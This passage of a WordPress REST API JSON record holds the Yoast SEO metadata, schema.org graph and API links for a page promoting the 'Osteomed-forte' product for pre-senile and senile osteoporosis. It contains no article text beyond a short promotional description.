https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis<\/title>\n<meta name=\"description\" content=\"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis\" \/>\n<meta property=\"og:description\" content=\"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect\" \/>\n<meta property=\"og:url\" content=\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/\" \/>\n<meta property=\"og:site_name\" content=\"Osteomed - that has become a significant discovery in fractures and osteoporosis prevention\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-22T09:59:51+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis\" \/>\n<meta name=\"twitter:description\" content=\"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/osteomed.su\/en\/#website\",\"url\":\"https:\/\/osteomed.su\/en\/\",\"name\":\"Osteomed - that has become a significant discovery in fractures and osteoporosis prevention\",\"description\":\"osteomed, osteoporosis\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/osteomed.su\/en\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#primaryimage\",\"inLanguage\":\"en-US\",\"url\":\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg\",\"contentUrl\":\"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#webpage\",\"url\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/\",\"name\":\"\\u00abOsteomed\\u00bb \\u2013 New approach to the treatment of senile osteoporosis\",\"isPartOf\":{\"@id\":\"https:\/\/osteomed.su\/en\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#primaryimage\"},\"datePublished\":\"2016-07-08T17:18:33+00:00\",\"dateModified\":\"2021-07-22T09:59:51+00:00\",\"description\":\"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect\",\"breadcrumb\":{\"@id\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/osteomed.su\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\\u00abOsteomed-forte\\u00bb \\u2013 New approach to the treatment of pre-senile and senile osteoporosis\"}]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis","description":"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/","og_locale":"en_US","og_type":"article","og_title":"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis","og_description":"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect","og_url":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/","og_site_name":"Osteomed - that has become a significant discovery in fractures and osteoporosis prevention","article_modified_time":"2021-07-22T09:59:51+00:00","og_image":[{"url":"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg"}],"twitter_card":"summary_large_image","twitter_title":"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis","twitter_description":"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect","twitter_misc":{"Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/osteomed.su\/en\/#website","url":"https:\/\/osteomed.su\/en\/","name":"Osteomed - that has become a significant discovery in fractures and osteoporosis prevention","description":"osteomed, osteoporosis","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/osteomed.su\/en\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#primaryimage","inLanguage":"en-US","url":"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg","contentUrl":"http:\/\/osteomed.su\/wp-content\/uploads\/2013\/11\/1OsteomedFOrte.jpg"},{"@type":"WebPage","@id":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#webpage","url":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/","name":"\u00abOsteomed\u00bb \u2013 New approach to the treatment of senile osteoporosis","isPartOf":{"@id":"https:\/\/osteomed.su\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#primaryimage"},"datePublished":"2016-07-08T17:18:33+00:00","dateModified":"2021-07-22T09:59:51+00:00","description":"Osteoporosis is reported to be one of the most serious diseases, that affects mostly the elderly men and women, sometimes with lethal effect","breadcrumb":{"@id":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/osteomed.su\/en\/osteomed-forte-new-approach-to-the-treatment-of-pre-senile-and-senile-osteoporosis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/osteomed.su\/en\/"},{"@type":"ListItem","position":2,"name":"\u00abOsteomed-forte\u00bb \u2013 New approach to the treatment of pre-senile and senile osteoporosis"}]}]}},"_links":{"self":[{"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/pages\/42"}],"collection":[{"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/comments?post=42"}],"version-history":[{"count":9,"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/pages\/42\/revisions"}],"predecessor-version":[{"id":367,"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/pages\/42\/revisions\/367"}],"wp:attachment":[{"href":"https:\/\/osteomed.su\/en\/wp-json\/wp\/v2\/media?parent=42"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}